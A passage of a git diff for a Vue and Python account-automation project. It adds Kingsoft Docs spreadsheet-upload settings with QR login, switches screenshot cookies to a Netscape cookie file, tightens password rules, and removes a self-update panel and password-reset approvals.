+    ? `确定启用定时任务吗？\n\n执行时间: 每天 ${payload.schedule_time}\n执行日期: ${scheduleWeekdayDisplay.value}\n浏览类型: ${payload.schedule_browse_type}\n截图: ${screenshotText}\n\n系统将自动执行所有账号的浏览任务`
     : '确定关闭定时任务吗？'
 
   try {
@@ -260,6 +244,131 @@ async function saveProxy() {
   }
 }
 
+async function saveKdocsConfig() {
+  const payload = {
+    kdocs_enabled: kdocsEnabled.value ? 1 : 0,
+    kdocs_doc_url: kdocsDocUrl.value.trim(),
+    kdocs_default_unit: kdocsDefaultUnit.value.trim(),
+    kdocs_sheet_name: kdocsSheetName.value.trim(),
+    kdocs_sheet_index: Number(kdocsSheetIndex.value) || 0,
+    kdocs_unit_column: kdocsUnitColumn.value.trim().toUpperCase(),
+    kdocs_image_column: kdocsImageColumn.value.trim().toUpperCase(),
+    kdocs_admin_notify_enabled: kdocsAdminNotifyEnabled.value ? 1 : 0,
+    kdocs_admin_notify_email: kdocsAdminNotifyEmail.value.trim(),
+  }
+
+  try {
+    const res = await updateSystemConfig(payload)
+    ElMessage.success(res?.message || '表格配置已更新')
+  } catch {
+    // handled by interceptor
+  }
+}
+
+async function refreshKdocsStatus() {
+  if (kdocsStatusLoading.value) return
+  kdocsStatusLoading.value = true
+  setKdocsHint('正在刷新状态')
+  try {
+    kdocsStatus.value = await fetchKdocsStatus({ live: 1 })
+    setKdocsHint('状态已刷新')
+  } catch {
+    setKdocsHint('刷新失败，请稍后重试')
+  } finally {
+    kdocsStatusLoading.value = false
+  }
+}
+
+async function pollKdocsStatus() {
+  try {
+    const status = await fetchKdocsStatus({ live: 1 })
+    kdocsStatus.value = status
+    const loggedIn = status?.logged_in === true || status?.last_login_ok === true
+    if (loggedIn) {
+      ElMessage.success('扫码成功，已登录')
+      setKdocsHint('扫码成功，已登录')
+      kdocsQrOpen.value = false
+      stopKdocsPolling()
+    }
+  } catch {
+    // handled by interceptor
+  }
+}
+
+function startKdocsPolling() {
+  stopKdocsPolling()
+  kdocsPolling.value = true
+  setKdocsHint('扫码检测中')
+  pollKdocsStatus()
+  kdocsPollingTimer = setInterval(pollKdocsStatus, 2000)
+}
+
+function stopKdocsPolling() {
+  if (kdocsPollingTimer) {
+    clearInterval(kdocsPollingTimer)
+    kdocsPollingTimer = null
+  }
+  kdocsPolling.value = false
+}
+
+async function onFetchKdocsQr() {
+  if (kdocsQrLoading.value) return
+  kdocsQrLoading.value = true
+  setKdocsHint('正在获取二维码')
+  try {
+    kdocsQrImage.value = ''
+    const res = await fetchKdocsQr()
+    kdocsQrImage.value = res?.qr_image || ''
+    if (!kdocsQrImage.value) {
+      if (res?.logged_in) {
+        ElMessage.success('当前已登录，无需扫码')
+        setKdocsHint('当前已登录，无需扫码')
+        await refreshKdocsStatus()
+        return
+      }
+      ElMessage.warning('未获取到二维码')
+      setKdocsHint('未获取到二维码')
+      return
+    }
+    setKdocsHint('二维码已获取')
+    kdocsQrOpen.value = true
+  } catch {
+    setKdocsHint('获取二维码失败')
+  } finally {
+    kdocsQrLoading.value = false
+  }
+}
+
+async function onClearKdocsLogin() {
+  if (kdocsClearLoading.value) return
+  kdocsClearLoading.value = true
+  setKdocsHint('正在清除登录态')
+  try {
+    await clearKdocsLogin()
+    kdocsQrOpen.value = false
+    kdocsQrImage.value = ''
+    ElMessage.success('登录态已清除')
+    setKdocsHint('登录态已清除')
+    await refreshKdocsStatus()
+  } catch {
+    setKdocsHint('清除登录态失败')
+  } finally {
+    kdocsClearLoading.value = false
+  }
+}
+
+watch(kdocsQrOpen, (open) => {
+  if (open) {
+    startKdocsPolling()
+  } else {
+    stopKdocsPolling()
+  }
+})
+
+onBeforeUnmount(() => {
+  stopKdocsPolling()
+})
+
 async function onTestProxy() {
   if (!proxyApiUrl.value.trim()) {
     ElMessage.error('请先输入代理API地址')
@@ -301,49 +410,7 @@ async function saveAutoApprove() {
   }
 }
 
-async function onCheckUpdate() {
-  updateActionLoading.value = true
-  try {
-    const res = await requestUpdateCheck()
-    ElMessage.success(res?.success ? '已触发检查更新' : '已提交检查请求')
-    setTimeout(() => loadUpdateInfo({ withLog: false }), 800)
-  } catch {
-    // handled by interceptor
-  } finally {
-    updateActionLoading.value = false
-  }
-}
-
-async function onRunUpdate() {
-  const status = updateStatus.value
-  const remote = status?.remote_commit ? shortCommit(status.remote_commit) : '-'
-  const buildFlags = updateBuildNoCache.value ? '\n\n构建选项: 强制重建（--no-cache）' : ''
-
-  try {
-    await ElMessageBox.confirm(
-      `确定开始“一键更新”吗？\n\n目标版本: ${remote}${buildFlags}\n\n更新将会重建并重启服务，页面可能短暂不可用；系统会先备份数据库。`,
-      '一键更新确认',
-      { confirmButtonText: '开始更新', cancelButtonText: '取消', type: 'warning' },
-    )
-  } catch {
-    return
-  }
-
-  updateActionLoading.value = true
-  try {
-    const res = await requestUpdateRun({ build_no_cache: updateBuildNoCache.value ? 1 : 0 })
-    ElMessage.success(res?.message || '已提交更新请求')
-    startUpdatePolling()
-    setTimeout(() => loadUpdateInfo(), 800)
-  } catch {
-    // handled by interceptor
-  } finally {
-    updateActionLoading.value = false
-  }
-}
-
 onMounted(loadAll)
-onBeforeUnmount(stopUpdatePolling)
 </script>
 
 <template>
@@ -371,7 +438,7 @@ onBeforeUnmount(stopUpdatePolling)
 
         <el-form-item label="截图最大并发数">
           <el-input-number v-model="maxScreenshotConcurrent" :min="1" :max="50" />
-          <div class="help">同时进行截图的最大数量（每个浏览器约占用 200MB 内存）。</div>
+          <div class="help">同时进行截图的最大数量（wkhtmltoimage 资源占用较低，可按需提高）。</div>
         </el-form-item>
       </el-form>
 
@@ -384,6 +451,7 @@ onBeforeUnmount(stopUpdatePolling)
       <el-form label-width="130px">
         <el-form-item label="启用定时任务">
           <el-switch v-model="scheduleEnabled" />
+          <div class="help">开启后，系统会按计划自动执行浏览任务。</div>
         </el-form-item>
 
         <el-form-item v-if="scheduleEnabled" label="执行时间">
@@ -404,6 +472,11 @@ onBeforeUnmount(stopUpdatePolling)
             </el-checkbox>
           </el-checkbox-group>
         </el-form-item>
+
+        <el-form-item v-if="scheduleEnabled" label="定时任务截图">
+          <el-switch v-model="scheduleScreenshotEnabled" />
+          <div class="help">开启后，定时任务执行时会生成截图。</div>
+        </el-form-item>
       </el-form>
 
       <div class="row-actions">
@@ -458,88 +531,95 @@ onBeforeUnmount(stopUpdatePolling)
       <el-button type="primary" @click="saveAutoApprove">保存注册设置</el-button>
     </el-card>
 
-    <el-card shadow="never" :body-style="{ padding: '16px' }" class="card" v-loading="updateLoading">
-      <h3 class="section-title">版本与更新</h3>
+    <el-card shadow="never" :body-style="{ padding: '16px' }" class="card">
+      <h3 class="section-title">金山文档上传</h3>
 
-      <el-alert
-        v-if="updateStatus?.update_available"
-        type="warning"
-        :closable="false"
-        title="检测到新版本：可以在此页面点击“一键更新”升级并自动重启服务。"
-        style="margin-bottom: 10px"
-      />
+      <el-form label-width="130px">
+        <el-form-item label="启用上传">
+          <el-switch v-model="kdocsEnabled" />
+          <div class="help">表格结构变化时可先关闭，避免错误上传。</div>
+        </el-form-item>
 
-      <el-alert
-        v-if="updateStatusError"
-        type="info"
-        :closable="false"
-        :title="updateStatusError"
-        style="margin-bottom: 10px"
-      />
+        <el-form-item label="文档链接">
+          <el-input v-model="kdocsDocUrl" placeholder="https://kdocs.cn/..." />
+        </el-form-item>
 
-      <el-descriptions border :column="1" size="small" style="margin-bottom: 10px">
-        <el-descriptions-item label="本地版本(commit)">
-          {{ shortCommit(updateStatus?.local_commit) }}
-        </el-descriptions-item>
-        <el-descriptions-item label="远端版本(commit)">
-          {{ shortCommit(updateStatus?.remote_commit) }}
-        </el-descriptions-item>
-        <el-descriptions-item label="是否有更新">
-          <el-tag v-if="updateStatus?.update_available" type="danger">有</el-tag>
-          <el-tag v-else type="success">无</el-tag>
-        </el-descriptions-item>
-        <el-descriptions-item label="工作区修改">
-          <el-tag v-if="updateStatus?.dirty" type="warning">有未提交修改</el-tag>
-          <el-tag v-else type="info">干净</el-tag>
-        </el-descriptions-item>
-        <el-descriptions-item label="最近检查时间">
-          {{ updateStatus?.checked_at || '-' }}
-        </el-descriptions-item>
-        <el-descriptions-item v-if="updateStatus?.error" label="检查错误">
-          {{ updateStatus?.error }}
-        </el-descriptions-item>
-      </el-descriptions>
+        <el-form-item label="默认县区">
+          <el-input v-model="kdocsDefaultUnit" placeholder="如：道县（用户可覆盖）" />
+        </el-form-item>
 
-      <div class="row-actions" style="align-items: center">
-        <el-checkbox v-model="updateBuildNoCache">强制重建（--no-cache）</el-checkbox>
-        <div class="help" style="margin-top: 0">依赖变更或构建异常时建议开启（更新会更慢）。</div>
-      </div>
+        <el-form-item label="Sheet名称">
+          <el-input v-model="kdocsSheetName" placeholder="留空使用第一个Sheet" />
+        </el-form-item>
+
+        <el-form-item label="Sheet序号">
+          <el-input-number v-model="kdocsSheetIndex" :min="0" :max="50" />
+          <div class="help">0 表示第一个Sheet。</div>
+        </el-form-item>
+
+        <el-form-item label="县区列">
+          <el-input v-model="kdocsUnitColumn" placeholder="A" style="max-width: 120px" />
+        </el-form-item>
+
+        <el-form-item label="图片列">
+          <el-input v-model="kdocsImageColumn" placeholder="D" style="max-width: 120px" />
+        </el-form-item>
+
+        <el-form-item label="管理员通知">
+          <el-switch v-model="kdocsAdminNotifyEnabled" />
+        </el-form-item>
+
+        <el-form-item label="通知邮箱">
+          <el-input v-model="kdocsAdminNotifyEmail" placeholder="admin@example.com" />
+        </el-form-item>
+      </el-form>
 
       <div class="row-actions">
-        <el-button @click="loadUpdateInfo" :disabled="updateActionLoading">刷新更新信息</el-button>
-        <el-button @click="onCheckUpdate" :loading="updateActionLoading">检查更新</el-button>
-        <el-button type="danger" @click="onRunUpdate" :loading="updateActionLoading" :disabled="!updateStatus?.update_available">
-          一键更新
+        <el-button type="primary" @click="saveKdocsConfig">保存表格配置</el-button>
+        <el-button
+          :loading="kdocsStatusLoading"
+          :disabled="kdocsActionBusy && !kdocsStatusLoading"
+          @click="refreshKdocsStatus"
+        >
+          刷新状态
+        </el-button>
+        <el-button
+          type="success"
+          plain
+          :loading="kdocsQrLoading"
+          :disabled="kdocsActionBusy && !kdocsQrLoading"
+          @click="onFetchKdocsQr"
+        >
+          获取二维码
+        </el-button>
+        <el-button
+          type="danger"
+          plain
+          :loading="kdocsClearLoading"
+          :disabled="kdocsActionBusy && !kdocsClearLoading"
+          @click="onClearKdocsLogin"
+        >
+          清除登录
         </el-button>
       </div>
 
-      <el-divider content-position="left">最近一次更新结果</el-divider>
-      <el-descriptions v-if="updateResult" border :column="1" size="small" style="margin-bottom: 10px">
-        <el-descriptions-item label="job_id">{{ updateResult.job_id }}</el-descriptions-item>
-        <el-descriptions-item label="状态">
-          <el-tag v-if="updateResult.status === 'running'" type="warning">运行中</el-tag>
-          <el-tag v-else-if="updateResult.status === 'success'" type="success">成功</el-tag>
-          <el-tag v-else type="danger">失败</el-tag>
-        </el-descriptions-item>
-        <el-descriptions-item label="阶段">{{ updateResult.stage || '-' }}</el-descriptions-item>
-        <el-descriptions-item label="开始时间">{{ updateResult.started_at || '-' }}</el-descriptions-item>
-        <el-descriptions-item label="结束时间">{{ updateResult.finished_at || '-' }}</el-descriptions-item>
-        <el-descriptions-item label="耗时(秒)">{{ updateResult.duration_seconds ?? '-' }}</el-descriptions-item>
-        <el-descriptions-item label="更新前(commit)">{{ shortCommit(updateResult.from_commit) }}</el-descriptions-item>
-        <el-descriptions-item label="更新后(commit)">{{ shortCommit(updateResult.to_commit) }}</el-descriptions-item>
-        <el-descriptions-item label="健康检查">
-          <span v-if="updateResult.health_ok === true">通过（{{ updateResult.health_message }}）</span>
-          <span v-else-if="updateResult.health_ok === false">失败（{{ updateResult.health_message }}）</span>
-          <span v-else>-</span>
-        </el-descriptions-item>
-        <el-descriptions-item v-if="updateResult.error" label="错误">{{ updateResult.error }}</el-descriptions-item>
-      </el-descriptions>
-      <div v-else class="help">暂无更新记录。</div>
-
-      <el-divider content-position="left">更新日志</el-divider>
-      <div class="help" v-if="updateLogTruncated">日志过长，仅展示末尾内容。</div>
-      <el-input v-model="updateLog" type="textarea" :rows="10" readonly placeholder="暂无日志" />
+      <div class="help">
+        登录状态：
+        <span v-if="kdocsStatus.last_login_ok === true">已登录</span>
+        <span v-else-if="kdocsStatus.login_required">需要扫码</span>
+        <span v-else>未知</span>
+        · 待上传 {{ kdocsStatus.queue_size || 0 }}
+        <span v-if="kdocsStatus.last_error">· 最近错误：{{ kdocsStatus.last_error }}</span>
+      </div>
+      <div v-if="kdocsActionHint" class="help">操作提示：{{ kdocsActionHint }}</div>
     </el-card>
+
+    <el-dialog v-model="kdocsQrOpen" title="扫码登录" width="min(420px, 92vw)">
+      <div class="kdocs-qr">
+        <img v-if="kdocsQrImage" :src="`data:image/png;base64,${kdocsQrImage}`" alt="KDocs QR" />
+        <div class="help">请使用管理员微信扫码登录。</div>
+      </div>
+    </el-dialog>
   </div>
 </template>
 
@@ -561,6 +641,22 @@ onBeforeUnmount(stopUpdatePolling)
   font-weight: 800;
 }
 
+.kdocs-qr {
+  display: flex;
+  flex-direction: column;
+  align-items: center;
+  gap: 12px;
+}
+
+.kdocs-qr img {
+  width: 260px;
+  max-width: 100%;
+  border: 1px solid var(--app-border);
+  border-radius: 8px;
+  padding: 8px;
+  background: #fff;
+}
+
 .help {
   margin-top: 6px;
   font-size: 12px;

admin-frontend/src/pages/UsersPage.vue

@@ -11,19 +11,14 @@ import {
   removeUserVip,
   setUserVip,
 } from '../api/users'
-import { approvePasswordReset, fetchPasswordResets, rejectPasswordReset } from '../api/passwordResets'
 import { parseSqliteDateTime } from '../utils/datetime'
 import { validatePasswordStrength } from '../utils/password'
 
 const refreshStats = inject('refreshStats', null)
-const refreshNavBadges = inject('refreshNavBadges', null)
 
 const loading = ref(false)
 const users = ref([])
 
-const resetLoading = ref(false)
-const passwordResets = ref([])
-
 function isVip(user) {
   const expire = user?.vip_expire_time
   if (!expire) return false
@@ -58,21 +53,8 @@ async function loadUsers() {
   }
 }
 
-async function loadResets() {
-  resetLoading.value = true
-  try {
-    const list = await fetchPasswordResets()
-    passwordResets.value = Array.isArray(list) ? list : []
-  } catch {
-    passwordResets.value = []
-  } finally {
-    resetLoading.value = false
-  }
-}
-
 async function refreshAll() {
-  await Promise.all([loadUsers(), loadResets()])
-  await refreshNavBadges?.({ pendingResets: passwordResets.value.length })
+  await loadUsers()
 }
 
 async function onEnableUser(row) {
@@ -117,48 +99,6 @@ async function onDisableUser(row) {
   }
 }
 
-async function onApproveReset(row) {
-  try {
-    await ElMessageBox.confirm(`确定批准「${row.username}」的密码重置申请吗？`, '批准重置', {
-      confirmButtonText: '批准',
-      cancelButtonText: '取消',
-      type: 'success',
-    })
-  } catch {
-    return
-  }
-
-  try {
-    const res = await approvePasswordReset(row.id)
-    ElMessage.success(res?.message || '密码重置申请已批准')
-    await loadResets()
-    await refreshNavBadges?.({ pendingResets: passwordResets.value.length })
-  } catch {
-    // handled by interceptor
-  }
-}
-
-async function onRejectReset(row) {
-  try {
-    await ElMessageBox.confirm(`确定拒绝「${row.username}」的密码重置申请吗？`, '拒绝重置', {
-      confirmButtonText: '拒绝',
-      cancelButtonText: '取消',
-      type: 'warning',
-    })
-  } catch {
-    return
-  }
-
-  try {
-    const res = await rejectPasswordReset(row.id)
-    ElMessage.success(res?.message || '密码重置申请已拒绝')
-    await loadResets()
-    await refreshNavBadges?.({ pendingResets: passwordResets.value.length })
-  } catch {
-    // handled by interceptor
-  }
-}
-
 async function onDelete(row) {
   try {
     await ElMessageBox.confirm(
@@ -338,27 +278,6 @@ onMounted(refreshAll)
         </el-table>
       </div>
     </el-card>
-
-    <el-card shadow="never" :body-style="{ padding: '16px' }" class="card">
-      <h3 class="section-title">密码重置申请</h3>
-      <div class="table-wrap">
-        <el-table :data="passwordResets" v-loading="resetLoading" style="width: 100%">
-          <el-table-column prop="id" label="申请ID" width="90" />
-          <el-table-column prop="username" label="用户名" min-width="200" />
-          <el-table-column prop="email" label="邮箱" min-width="220">
-            <template #default="{ row }">{{ row.email || '-' }}</template>
-          </el-table-column>
-          <el-table-column prop="created_at" label="申请时间" min-width="180" />
-          <el-table-column label="操作" width="180" fixed="right">
-            <template #default="{ row }">
-              <el-button type="success" size="small" @click="onApproveReset(row)">批准</el-button>
-              <el-button type="danger" size="small" @click="onRejectReset(row)">拒绝</el-button>
-            </template>
-          </el-table-column>
-        </el-table>
-      </div>
-      <div class="help app-muted">当未启用邮件找回密码时，用户会提交申请，由管理员在此处处理。</div>
-    </el-card>
   </div>
 </template>
 

admin-frontend/src/router/index.js

@@ -8,6 +8,7 @@ const FeedbacksPage = () => import('../pages/FeedbacksPage.vue')
 const LogsPage = () => import('../pages/LogsPage.vue')
 const AnnouncementsPage = () => import('../pages/AnnouncementsPage.vue')
 const EmailPage = () => import('../pages/EmailPage.vue')
+const SecurityPage = () => import('../pages/SecurityPage.vue')
 const SystemPage = () => import('../pages/SystemPage.vue')
 const SettingsPage = () => import('../pages/SettingsPage.vue')
 
@@ -25,6 +26,7 @@ const routes = [
       { path: '/logs', name: 'logs', component: LogsPage },
       { path: '/announcements', name: 'announcements', component: AnnouncementsPage },
       { path: '/email', name: 'email', component: EmailPage },
+      { path: '/security', name: 'security', component: SecurityPage },
       { path: '/system', name: 'system', component: SystemPage },
       { path: '/settings', name: 'settings', component: SettingsPage },
     ],

api_browser.py

@@ -2,7 +2,7 @@
 # -*- coding: utf-8 -*-
 """
 API 浏览器 - 用纯 HTTP 请求实现浏览功能
-比 Playwright 快 30-60 倍
+比传统浏览器自动化快 30-60 倍
 """
 
 import requests
@@ -44,6 +44,27 @@ except Exception:
 _API_DIAGNOSTIC_SLOW_MS = max(0, _API_DIAGNOSTIC_SLOW_MS)
 
 _cookie_domain_fallback = urlsplit(BASE_URL).hostname or "postoa.aidunsoft.com"
+_COOKIE_JAR_MAX_AGE_SECONDS = 24 * 60 * 60
+
+
+def get_cookie_jar_path(username: str) -> str:
+    """获取截图用的 cookies 文件路径（Netscape Cookie 格式）"""
+    import hashlib
+
+    os.makedirs(COOKIES_DIR, exist_ok=True)
+    filename = hashlib.sha256(username.encode()).hexdigest()[:32] + ".cookies.txt"
+    return os.path.join(COOKIES_DIR, filename)
+
+
+def is_cookie_jar_fresh(cookie_path: str, max_age_seconds: int = _COOKIE_JAR_MAX_AGE_SECONDS) -> bool:
+    """判断 cookies 文件是否存在且未过期"""
+    if not cookie_path or not os.path.exists(cookie_path):
+        return False
+    try:
+        file_age = time.time() - os.path.getmtime(cookie_path)
+        return file_age <= max(0, int(max_age_seconds or 0))
+    except Exception:
+        return False
 
 _api_browser_instances: "weakref.WeakSet[APIBrowser]" = weakref.WeakSet()
 
@@ -102,37 +123,36 @@ class APIBrowser:
         """记录日志"""
         if self.log_callback:
             self.log_callback(message)
-    def save_cookies_for_playwright(self, username: str):
-        """保存cookies供Playwright使用"""
-        import os
-        import json
-        import hashlib
-
-        os.makedirs(COOKIES_DIR, exist_ok=True)
-
-        # 安全修复：使用SHA256代替MD5作为文件名哈希
-        filename = hashlib.sha256(username.encode()).hexdigest()[:32] + '.json'
-        cookies_path = os.path.join(COOKIES_DIR, filename)
-        
+    def save_cookies_for_screenshot(self, username: str):
+        """保存 cookies 供 wkhtmltoimage 使用（Netscape Cookie 格式）"""
+        cookies_path = get_cookie_jar_path(username)
         try:
-            # 获取requests session的cookies
-            cookies_list = []
+            lines = [
+                "# Netscape HTTP Cookie File",
+                "# This file was generated by zsglpt",
+            ]
             for cookie in self.session.cookies:
-                cookies_list.append({
-                    'name': cookie.name,
-                    'value': cookie.value,
-                    'domain': cookie.domain or _cookie_domain_fallback,
-                    'path': cookie.path or '/',
-                })
+                domain = cookie.domain or _cookie_domain_fallback
+                include_subdomains = "TRUE" if domain.startswith(".") else "FALSE"
+                path = cookie.path or "/"
+                secure = "TRUE" if getattr(cookie, "secure", False) else "FALSE"
+                expires = int(getattr(cookie, "expires", 0) or 0)
+                lines.append(
+                    "\t".join(
+                        [
+                            domain,
+                            include_subdomains,
+                            path,
+                            secure,
+                            str(expires),
+                            cookie.name,
+                            cookie.value,
+                        ]
+                    )
+                )
 
-            # Playwright storage_state 格式
-            storage_state = {
-                'cookies': cookies_list,
-                'origins': []
-            }
-            
-            with open(cookies_path, 'w', encoding='utf-8') as f:
-                json.dump(storage_state, f)
+            with open(cookies_path, "w", encoding="utf-8") as f:
+                f.write("\n".join(lines) + "\n")
 
             self.log(f"[API] Cookies已保存供截图使用")
             return True

app-frontend/src/api/auth.js

@@ -30,11 +30,6 @@ export async function forgotPassword(payload) {
   return data
 }
 
-export async function requestPasswordReset(payload) {
-  const { data } = await publicApi.post('/reset_password_request', payload)
-  return data
-}
-
 export async function confirmPasswordReset(payload) {
   const { data } = await publicApi.post('/reset-password-confirm', payload)
   return data

app-frontend/src/api/settings.js

@@ -30,3 +30,12 @@ export async function changePassword(payload) {
   return data
 }
 
+export async function fetchKdocsSettings() {
+  const { data } = await publicApi.get('/user/kdocs')
+  return data
+}
+
+export async function updateKdocsSettings(payload) {
+  const { data } = await publicApi.post('/user/kdocs', payload)
+  return data
+}

app-frontend/src/layouts/AppLayout.vue

@@ -11,10 +11,13 @@ import {
   changePassword,
   fetchEmailNotify,
   fetchUserEmail,
+  fetchKdocsSettings,
   unbindEmail,
+  updateKdocsSettings,
   updateEmailNotify,
 } from '../api/settings'
 import { useUserStore } from '../stores/user'
+import { validateStrongPassword } from '../utils/password'
 
 const route = useRoute()
 const router = useRouter()
@@ -28,6 +31,56 @@ const announcementOpen = ref(false)
 const announcement = ref(null)
 const announcementLoading = ref(false)
 
+const announcementPageToken = (() => {
+  try {
+    const timeOrigin = window.performance?.timeOrigin
+    if (typeof timeOrigin === 'number' && Number.isFinite(timeOrigin)) return String(timeOrigin)
+  } catch {
+    // ignore
+  }
+  return String(Date.now())
+})()
+
+function announcementOnceKey(announcementId) {
+  return `announcement_closed_once_${announcementId}`
+}
+
+function announcementPermanentKey(announcementId) {
+  return `announcement_closed_${announcementId}`
+}
+
+function wasAnnouncementClosedOnce(announcementId) {
+  try {
+    return window.sessionStorage.getItem(announcementOnceKey(announcementId)) === announcementPageToken
+  } catch {
+    return false
+  }
+}
+
+function wasAnnouncementClosedPermanently(announcementId) {
+  try {
+    return window.localStorage.getItem(announcementPermanentKey(announcementId)) === '1'
+  } catch {
+    return false
+  }
+}
+
+function markAnnouncementClosedOnce(announcementId) {
+  try {
+    window.sessionStorage.setItem(announcementOnceKey(announcementId), announcementPageToken)
+  } catch {
+    // ignore
+  }
+}
+
+function markAnnouncementClosedPermanently(announcementId) {
+  try {
+    window.localStorage.setItem(announcementPermanentKey(announcementId), '1')
+  } catch {
+    // ignore
+  }
+}
+
 const feedbackOpen = ref(false)
 const feedbackTab = ref('new')
 const feedbackSubmitting = ref(false)
@@ -60,6 +113,10 @@ const passwordForm = reactive({
   confirm_password: '',
 })
 
+const kdocsLoading = ref(false)
+const kdocsSaving = ref(false)
+const kdocsUnitValue = ref('')
+
 function syncIsMobile() {
   isMobile.value = Boolean(mediaQuery?.matches)
   if (!isMobile.value) drawerOpen.value = false
@@ -180,7 +237,7 @@ async function openSettings() {
 }
 
 async function loadSettings() {
-  await Promise.all([loadEmailInfo(), loadEmailNotify()])
+  await Promise.all([loadEmailInfo(), loadEmailNotify(), loadKdocsSettings()])
 }
 
 async function loadEmailInfo() {
@@ -211,6 +268,30 @@ async function loadEmailNotify() {
   }
 }
 
+async function loadKdocsSettings() {
+  kdocsLoading.value = true
+  try {
+    const data = await fetchKdocsSettings()
+    kdocsUnitValue.value = data?.kdocs_unit || ''
+  } catch {
+    kdocsUnitValue.value = ''
+  } finally {
+    kdocsLoading.value = false
+  }
+}
+
+async function saveKdocsSettings() {
+  kdocsSaving.value = true
+  try {
+    await updateKdocsSettings({ kdocs_unit: kdocsUnitValue.value.trim() })
+    ElMessage.success('已更新表格县区设置')
+  } catch {
+    // handled by interceptor
+  } finally {
+    kdocsSaving.value = false
+  }
+}
+
 async function onBindEmail() {
   const email = bindEmailValue.value.trim().toLowerCase()
   if (!email) {
@@ -292,8 +373,9 @@ async function onChangePassword() {
     ElMessage.error('请填写完整信息')
     return
   }
-  if (String(newPassword).length < 6) {
-    ElMessage.error('新密码至少6位')
+  const passwordCheck = validateStrongPassword(newPassword)
+  if (!passwordCheck.ok) {
+    ElMessage.error(passwordCheck.message)
     return
   }
   if (newPassword !== confirmPassword) {
@@ -327,8 +409,8 @@ async function loadAnnouncement() {
     const ann = data?.announcement
     if (!ann?.id) return
 
-    const sessionKey = `announcement_closed_${ann.id}`
-    if (window.sessionStorage.getItem(sessionKey) === '1') return
+    if (wasAnnouncementClosedPermanently(ann.id)) return
+    if (wasAnnouncementClosedOnce(ann.id)) return
 
     announcement.value = ann
     announcementOpen.value = true
@@ -341,7 +423,7 @@ async function loadAnnouncement() {
 
 function closeAnnouncementOnce() {
   const ann = announcement.value
-  if (ann?.id) window.sessionStorage.setItem(`announcement_closed_${ann.id}`, '1')
+  if (ann?.id) markAnnouncementClosedOnce(ann.id)
   announcementOpen.value = false
 }
 
@@ -351,6 +433,7 @@ async function dismissAnnouncementPermanently() {
     announcementOpen.value = false
     return
   }
+  markAnnouncementClosedPermanently(ann.id)
   try {
     const res = await dismissAnnouncement(ann.id)
     if (res?.success) ElMessage.success('已永久关闭')
@@ -433,6 +516,9 @@ async function dismissAnnouncementPermanently() {
     <el-dialog v-model="announcementOpen" width="min(560px, 92vw)" :title="announcement?.title || '系统公告'">
       <div class="announcement-body" v-loading="announcementLoading">
         <div class="announcement-content">{{ announcement?.content || '' }}</div>
+        <div v-if="announcement?.image_url" class="announcement-image">
+          <img :src="announcement.image_url" alt="公告图片" loading="lazy" />
+        </div>
       </div>
       <template #footer>
         <el-button @click="closeAnnouncementOnce">当次关闭</el-button>
@@ -562,7 +648,7 @@ async function dismissAnnouncementPermanently() {
               <el-form-item label="当前密码">
                 <el-input v-model="passwordForm.current_password" type="password" show-password autocomplete="current-password" />
               </el-form-item>
-              <el-form-item label="新密码（至少6位）">
+              <el-form-item label="新密码（至少8位且包含字母和数字）">
                 <el-input v-model="passwordForm.new_password" type="password" show-password autocomplete="new-password" />
               </el-form-item>
               <el-form-item label="确认新密码">
@@ -579,6 +665,24 @@ async function dismissAnnouncementPermanently() {
           </div>
         </el-tab-pane>
 
+        <el-tab-pane label="表格上传" name="kdocs">
+          <div v-loading="kdocsLoading" class="settings-section">
+            <el-form label-position="top">
+              <el-form-item label="县区（可选）">
+                <el-input v-model="kdocsUnitValue" placeholder="留空使用系统默认县区" />
+              </el-form-item>
+              <el-button type="primary" :loading="kdocsSaving" @click="saveKdocsSettings">保存</el-button>
+            </el-form>
+            <el-alert
+              type="info"
+              :closable="false"
+              title="自动上传开关在“账号管理”页面设置（测试功能）。"
+              show-icon
+              class="settings-hint"
+            />
+          </div>
+        </el-tab-pane>
+
         <el-tab-pane label="VIP信息" name="vip">
           <div class="settings-section">
             <el-alert
@@ -726,6 +830,20 @@ async function dismissAnnouncementPermanently() {
   font-size: 14px;
 }
 
+.announcement-image {
+  margin-top: 12px;
+  display: flex;
+  justify-content: center;
+}
+
+.announcement-image img {
+  max-width: 100%;
+  max-height: 320px;
+  border-radius: 10px;
+  border: 1px solid var(--app-border);
+  object-fit: contain;
+}
+
 .feedback-title {
   display: flex;
   align-items: center;

app-frontend/src/pages/AccountsPage.vue

@@ -15,6 +15,7 @@ import {
   updateAccount,
   updateAccountRemark,
 } from '../api/accounts'
+import { fetchKdocsSettings, updateKdocsSettings } from '../api/settings'
 import { fetchRunStats } from '../api/stats'
 import { useSocket } from '../composables/useSocket'
 import { useUserStore } from '../stores/user'
@@ -57,6 +58,9 @@ watch(batchEnableScreenshot, (value) => {
   }
 })
 
+const kdocsAutoUpload = ref(false)
+const kdocsSettingsLoading = ref(false)
+
 const addOpen = ref(false)
 const editOpen = ref(false)
 const upgradeOpen = ref(false)
@@ -189,6 +193,30 @@ async function refreshAccounts() {
   }
 }
 
+async function loadKdocsSettings() {
+  kdocsSettingsLoading.value = true
+  try {
+    const data = await fetchKdocsSettings()
+    kdocsAutoUpload.value = Number(data?.kdocs_auto_upload || 0) === 1
+  } catch {
+    kdocsAutoUpload.value = false
+  } finally {
+    kdocsSettingsLoading.value = false
+  }
+}
+
+async function onToggleKdocsAutoUpload(value) {
+  kdocsSettingsLoading.value = true
+  try {
+    await updateKdocsSettings({ kdocs_auto_upload: value ? 1 : 0 })
+    ElMessage.success(value ? '已开启自动上传（测试）' : '已关闭自动上传')
+  } catch (e) {
+    kdocsAutoUpload.value = !value
+  } finally {
+    kdocsSettingsLoading.value = false
+  }
+}
+
 async function onStart(acc) {
   try {
     await startAccount(acc.id, { browse_type: browseTypeById[acc.id] || '应读', enable_screenshot: batchEnableScreenshot.value })
@@ -524,6 +552,7 @@ onMounted(async () => {
   unbindSocket = bindSocket()
 
   await refreshAccounts()
+  await loadKdocsSettings()
   await refreshStats()
   syncStatsPolling()
 })
@@ -612,6 +641,15 @@ onBeforeUnmount(() => {
             <el-option v-for="opt in browseTypeOptions" :key="opt.value" :label="opt.label" :value="opt.value" />
           </el-select>
           <el-switch v-model="batchEnableScreenshot" inline-prompt active-text="截图" inactive-text="不截图" />
+          <el-switch
+            v-model="kdocsAutoUpload"
+            :disabled="kdocsSettingsLoading"
+            inline-prompt
+            active-text="上传"
+            inactive-text="不传"
+            @change="onToggleKdocsAutoUpload"
+          />
+          <span class="app-muted">表格(测试)</span>
         </div>
 
         <div class="toolbar-right">

app-frontend/src/pages/LoginPage.vue

@@ -8,10 +8,8 @@ import {
   forgotPassword,
